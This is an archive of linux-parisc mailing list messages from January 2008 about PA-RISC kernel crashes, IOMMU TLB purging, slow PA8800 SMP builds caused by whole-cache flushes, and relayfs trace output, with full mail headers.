To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 19 18:16:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JGHJP-0000u8-Vx
	for glpp-linux-parisc@gmane.org; Sat, 19 Jan 2008 18:16:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755115AbYASRQ3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jan 2008 12:16:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756214AbYASRQ3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 19 Jan 2008 12:16:29 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:46863 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1755115AbYASRQ2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jan 2008 12:16:28 -0500
Original-Received: (qmail invoked by alias); 19 Jan 2008 17:16:26 -0000
Original-Received: from mnhm-590f722a.pool.einsundeins.de (EHLO ls-cups.box) [89.15.114.42]
  by mail.gmx.net (mp037) with SMTP; 19 Jan 2008 18:16:26 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+wFLx/0TqwQF0z8DsukMjQXD8p/lwt7ZFFGFXtGl
	hvs3gw9+dPJvxm
Content-class: urn:content-classes:message
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@S~&q/MfI3;qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:78
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/78>

I noticed the following crashes yesterday with a plain 2.6.24-rc8 kernel.
Maybe someone has an idea?
The system still worked afterwards.

      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
gij-4.3.bin (pid 23032): Protection id trap (code 27)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  0004000f 10280000 1018d72c 60314388
r04-07  00000000 000197a8 00000001 60314388
r08-11  00000000 fffffff2 603140c8 00000006
r12-15  00176fc0 0001bb40 00000014 00001000
r16-19  402c3554 00019840 0001bb54 00000001
r20-23  000197ae 00000000 6031439e 00000000
r24-27  00000001 1050eaac 7e6c2970 1059f010
r28-31  0000000f 00000001 60314500 1018d4e4
sr00-03  00000000 00000000 00000000 000000ca
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1018d76c 1018d770
 IIR: 0e95d240    ISR: 000000ca  IOR: 000197ae
 CPU:        0   CR30: 60314000 CR31: 11111111
 ORIG_R28: 1017d598
 IAOQ[0]: do_sys_poll+0x138/0x1b0
 IAOQ[1]: do_sys_poll+0x13c/0x1b0
 RP(r2): do_sys_poll+0xf8/0x1b0
Backtrace:
 [<10106cf0>] die_if_kernel+0x130/0x1a0
 [<1010755c>] handle_interruption+0x3f4/0x58c
 [<1010a078>] intr_check_sig+0x0/0x34


      _______________________________
     < Your System ate a SPARC! Gah! >
      -------------------------------
             \   ^__^
              \  (xx)\_______
                 (__)\       )\/\
                  U  ||----w |
                     ||     ||
gij-4.3.bin (pid 23166): Protection id trap (code 27)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Tainted: G      D
r00-03  0004ff0f 10280000 1010f864 600b8148
r04-07  445e5400 54aec974 54aec778 445e5424
r08-11  00000000 00000001 54aec974 600b8148
r12-15  00000012 0001bb40 00000014 00001000
r16-19  402c3554 00019840 0001bb54 00000001
r20-23  00000012 fffffff8 37c6ea54 600b80c8
r24-27  445e5424 600b80c8 445e5424 1059f010
r28-31  00000012 00040001 600b82c0 10179e38
sr00-03  00000000 00000000 00000000 000000ca
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10138ae4 10138ae8
 IIR: 0f54d280    ISR: 000000ca  IOR: 445e5424
 CPU:        0   CR30: 600b8000 CR31: 11111111
 ORIG_R28: 1017d598
 IAOQ[0]: copy_siginfo_to_user+0x54/0x458
 IAOQ[1]: copy_siginfo_to_user+0x58/0x458
 RP(r2): setup_rt_frame+0xb8/0x388
Backtrace:
 [<10106cf0>] die_if_kernel+0x130/0x1a0
 [<1010755c>] handle_interruption+0x3f4/0x58c
 [<1010a078>] intr_check_sig+0x0/0x34


From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ccio_clear_io_tlb() and __raw_write() more question?
Date: Sun, 20 Jan 2008 10:06:30 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <47931D26.50204@scarlet.be>
References: <JUQMH1$0E837D5F7A1526B30DCF5BF1A8BE2816@scarlet.be> <20080119170705.GC11553@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1200823610 8133 80.91.229.12 (20 Jan 2008 10:06:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jan 2008 10:06:50 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 20 11:07:09 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JGX52-0002Ly-BZ
	for glpp-linux-parisc@gmane.org; Sun, 20 Jan 2008 11:07:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751912AbYATKGm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jan 2008 05:06:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752021AbYATKGm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jan 2008 05:06:42 -0500
Original-Received: from weequay.is.scarlet.be ([193.74.71.24]:48077 "EHLO
	weequay.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751912AbYATKGl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jan 2008 05:06:41 -0500
Original-Received: from (ip-213-49-71-166.dsl.scarlet.be [213.49.71.166])
        by weequay.is.scarlet.be  with ESMTP id m0KA6ZF19646;
        Sun, 20 Jan 2008 11:06:35 +0100
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080110)
In-Reply-To: <20080119170705.GC11553@colo.lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:79
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/79>

Grant Grundler wrote:
> On Wed, Jan 16, 2008 at 01:53:25PM +0100, rubisher wrote:
>> Without doc I guess that this call to WRITE_U32() is supposed to do what it
>> name says: i.e purge a TLB entry?
> ...
>> puting all those stuff togther: for CPU, WRITE_U32 (aka __raw_writel), just
>> write something at some virtual address, right?
>>
>> So my worry is that this data write could be cached and btw the actual
>> CMD_TLB_PURGE operation could be delay untill this entry would be purged?
> 
> Willy is correct - writes to this IO space (0xf0000000) address is uncached.
> 
mmm, is it the reason why you (I mean hp engineers) call it "f-space": IO space addresses starting by 0xf?

> While the write is "posted", it's a fairly short path to the IOMMU (1 hop).
> Since this is the "unmap path" I don't expect any race conditions since
> we would have to call map using the same mapping right away in order to
> pickup the stale IOTLB entry. We avoid this race by allocating IO Pdir
> entries in a "circular" fashion (start at bottom and work through
> the entire resource bit map).
> 
> hth,
> grant
> 
> 
Tx,
	r.


From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: ccio_clear_io_tlb() and __raw_write() more question?
Date: Sun, 20 Jan 2008 12:06:40 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20080120190640.GA10928@colo.lackof.org>
References: <JUQMH1$0E837D5F7A1526B30DCF5BF1A8BE2816@scarlet.be> <20080119170705.GC11553@colo.lackof.org> <47931D26.50204@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1200856027 16141 80.91.229.12 (20 Jan 2008 19:07:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jan 2008 19:07:07 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 20 20:07:26 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JGfVs-0004ME-1n
	for glpp-linux-parisc@gmane.org; Sun, 20 Jan 2008 20:07:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753056AbYATTG6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jan 2008 14:06:58 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754857AbYATTG6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jan 2008 14:06:58 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:56768 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753056AbYATTG5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jan 2008 14:06:57 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 35073298058;
	Sun, 20 Jan 2008 12:06:56 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10554-03; Sun, 20 Jan 2008 12:06:41 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AD1C129800A; Sun, 20 Jan 2008 12:06:41 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <47931D26.50204@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:80
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/80>

On Sun, Jan 20, 2008 at 10:06:30AM +0000, rubisher wrote:
...
>> Willy is correct - writes to this IO space (0xf0000000) address is 
>> uncached.
> mmm, is it the reason why you (I mean hp engineers) call it "f-space": IO 
> space addresses starting by 0xf?

Yes.

grant

From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Terrible PA8800 SMP Performance
Date: Sun, 20 Jan 2008 14:55:18 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200801201955.m0KJtIer026663@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1200859668 27254 80.91.229.12 (20 Jan 2008 20:07:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jan 2008 20:07:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 20 21:08:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JGgSb-0006Vr-Ds
	for glpp-linux-parisc@gmane.org; Sun, 20 Jan 2008 21:08:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755341AbYATUHj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jan 2008 15:07:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755350AbYATUHj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jan 2008 15:07:39 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1960 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755341AbYATUHi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jan 2008 15:07:38 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id m0KK7W71029923
	for <linux-parisc@vger.kernel.org>; Sun, 20 Jan 2008 15:07:37 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id m0KJtIer026663
	for linux-parisc@vger.kernel.org; Sun, 20 Jan 2008 14:55:18 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:81
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/81>

I've been doing GCC builds on a four processor PA8800 currently
running 2.6.24-rc6.  With make -j 6 bootstrap, this machine is
several hours slower than gsyprf11 doing the same GCC build and
check.  gsyprf11 is a two processor PA8700 and I typically
use make -j 4 on it.  The PA8800 is also slower than my c3750.

I've mentioned this before but some tests that never timeout even
on slow machines randomly timeout on the PA8800.

Any thoughts on what's wrong?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Terrible PA8800 SMP Performance
Date: Sun, 20 Jan 2008 15:10:42 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20080120201042.GA1781@phobos.i.cabal.ca>
References: <200801201955.m0KJtIer026663@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1200860492 29753 80.91.229.12 (20 Jan 2008 20:21:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jan 2008 20:21:32 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 20 21:21:51 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JGgfu-0002Hj-I2
	for glpp-linux-parisc@gmane.org; Sun, 20 Jan 2008 21:21:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755253AbYATUVY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jan 2008 15:21:24 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755310AbYATUVY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jan 2008 15:21:24 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:24778 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755253AbYATUVY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jan 2008 15:21:24 -0500
X-Greylist: delayed 640 seconds by postgrey-1.27 at vger.kernel.org; Sun, 20 Jan 2008 15:21:24 EST
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 23C19178091; Sun, 20 Jan 2008 15:10:43 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200801201955.m0KJtIer026663@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:82
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/82>

On Sun, Jan 20, 2008 at 02:55:18PM -0500, John David Anglin wrote:
> I've been doing GCC builds on a four processor PA8800 currently
> running 2.6.24-rc6.  With make -j 6 bootstrap, this machine is
> several hours slower than gsyprf11 doing the same GCC build and
> check.  gsyprf11 is a two processor PA8700 and I typically
> use make -j 4 on it.  The PA8800 is also slower than my c3750.
> 

flushing 32MB of cache on every fork and exec? :/

cheers,
	kyle

From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Terrible PA8800 SMP Performance
Date: Sun, 20 Jan 2008 15:40:14 -0500 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <200801202040.m0KKeExq007167@hiauly1.hia.nrc.ca>
References: <20080120201042.GA1781@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1200862374 2919 80.91.229.12 (20 Jan 2008 20:52:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jan 2008 20:52:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 20 21:53:12 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JGhAB-00031t-Vc
	for glpp-linux-parisc@gmane.org; Sun, 20 Jan 2008 21:53:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754278AbYATUwm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jan 2008 15:52:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755504AbYATUwm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 20 Jan 2008 15:52:42 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1963 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754278AbYATUwl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jan 2008 15:52:41 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id m0KKqY6k007690;
	Sun, 20 Jan 2008 15:52:39 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id m0KKeExq007167;
	Sun, 20 Jan 2008 15:40:14 -0500 (EST)
In-Reply-To: <20080120201042.GA1781@phobos.i.cabal.ca> from "Kyle McMartin" at Jan 20, 2008 03:10:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:83
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/83>

> flushing 32MB of cache on every fork and exec? :/

That's what I was thinking, although the actual situation may be worse.
It appears we may flush the entire cache (32MB I-cache and 32MB D-cache)
on every cpu.

static void cacheflush_h_tmp_function(void *dummy)
{
        flush_cache_all_local();
}

void flush_cache_all(void)
{
        on_each_cpu(cacheflush_h_tmp_function, NULL, 1, 1);
}

void flush_cache_mm(struct mm_struct *mm)
{
#ifdef CONFIG_SMP
        flush_cache_all();
#else
	flush_cache_all_local();
#endif
}

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

From - Thu Nov 08 21:01:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: 'Trace patches test' [Was: ccio_clear_io_tlb() and __raw_write() more 
	question?]
Date: Tue, 22 Jan 2008 14:35:21 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <JV1SEX$ACF9E213A9B966069761EDBBFFD7BB89@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1201008937 19227 80.91.229.12 (22 Jan 2008 13:35:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Jan 2008 13:35:37 +0000 (UTC)
Cc: "grundler" <grundler@parisc-linux.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 22 14:35:55 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JHJIA-00063v-DC
	for glpp-linux-parisc@gmane.org; Tue, 22 Jan 2008 14:35:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750985AbYAVNf2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jan 2008 08:35:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751977AbYAVNf2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Jan 2008 08:35:28 -0500
Original-Received: from guri.is.scarlet.be ([193.74.71.22]:40060 "EHLO
	guri.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750985AbYAVNf1 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jan 2008 08:35:27 -0500
Original-Received: from (taj.is.scarlet.be [193.74.71.42])
        by guri.is.scarlet.be  with ESMTP id m0MDZMU14767;
        Tue, 22 Jan 2008 14:35:22 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: elist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:84
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/84>

[snip]
> >> Willy is correct - writes to this IO space (0xf0000000) address is 
> >> uncached.
> > mmm, is it the reason why you (I mean hp engineers) call it "f-space": IO 
> > space addresses starting by 0xf?
> 
> Yes.
> 
> grant
> 
Cool ;<)

Btw, a while back, I dream to use relayfs to grab debug info.
(<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-April/053237.html>)

Somebody else write it:
<http://lkml.org/lkml/2007/11/13/208>

Obviously, I have to instrument things manually but I test it succesfully.
Here is already some primarily data test:
[snip]
:1201001199222127606:ccio_map_single_1:ccio_map_single() 0x1eb91896 ->
0x63b4896 size: 0x1000
:1201001199222203288:ccio_map_single_2: pdir 1fcb1da0 038100000eb91017
:1201001199222391065:ccio_map_single_1:ccio_map_single() 0x1febc096 ->
0x63b5096 size: 0x1000
:1201001199222460820:ccio_map_single_2: pdir 1fcb1da8 02a800000febc017
:1201001199222687339:ccio_map_single_1:ccio_map_single() 0x1eae7896 ->
0x63b6896 size: 0x1000
:1201001199222759615:ccio_map_single_2: pdir 1fcb1db0 02fb00000eae7017
:1201001199223529366:ccio_unmap_single_1:ccio_unmap_single() iovp 0x63b4896/5ea
:1201001199226080604:ccio_unmap_single_1:ccio_unmap_single() iovp 0x63b5096/5ea
:1201001199226146742:ccio_unmap_single_1:ccio_unmap_single() iovp 0x63b6896/5ea
:1201001199226443370:ccio_map_single_1:ccio_map_single() 0x1dc5f096 ->
0x63b7096 size: 0x1000
:1201001199226517113:ccio_map_single_2: pdir 1fcb1db8 005700000dc5f017
:1201001199226737227:ccio_map_single_1:ccio_map_single() 0x1dc7b096 ->
0x63b8096 size: 0x1000
:1201001199226807153:ccio_map_single_2: pdir 1fcb1dc0 007700000dc7b017
:1201001199226990619:ccio_map_single_1:ccio_map_single() 0x1dedf896 ->
0x63b9896 size: 0x1000
:1201001199227060207:ccio_map_single_2: pdir 1fcb1dc8 02c700000dedf017
:1201001199227877694:ccio_unmap_single_1:ccio_unmap_single() iovp 0x63b7096/5ea
:1201001199230211964:ccio_unmap_single_1:ccio_unmap_single() iovp 0x63b8096/5ea
:1201001199230277457:ccio_unmap_single_1:ccio_unmap_single() iovp 0x63b9896/3aa
:1201001199932184243:ccio_map_single_1:ccio_map_single() 0x1dedf896 ->
0x63ba896 size: 0x1000
:1201001199932262292:ccio_map_single_2: pdir 1fcb1dd0 02c700000dedf017
:1201001199932471488:ccio_map_single_1:ccio_map_single() 0x1dc7b096 ->
0x63bb096 size: 0x1000
:1201001199932540658:ccio_map_single_2: pdir 1fcb1dd8 007700000dc7b017
:1201001199932742704:ccio_map_single_1:ccio_map_single() 0x1dc5f096 ->
0x63bc096 size: 0x1000
[snip]

Exciting results? (just what would give me DEBUG_RUN() printk() but without
degrading system performance)

I still have to had some more DEBUG_RUN_SG() stuff and hope to be able to
collect more.

Cheers,
    r.

---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: some gij-4.3/2.6.24-rc8 crashes
Date: Tue, 22 Jan 2008 10:40:36 -0500
Lines: 90
Approved: news@gmane.org
Message-ID: <119aab440801220740g77918c01r5c768f688f8170ca@mail.gmail.com>
References: <200801191816.25091.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1201016471 14749 80.91.229.12 (22 Jan 2008 15:41:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Jan 2008 15:41:11 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: "Helge Deller" <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 22 16:41:29 2008
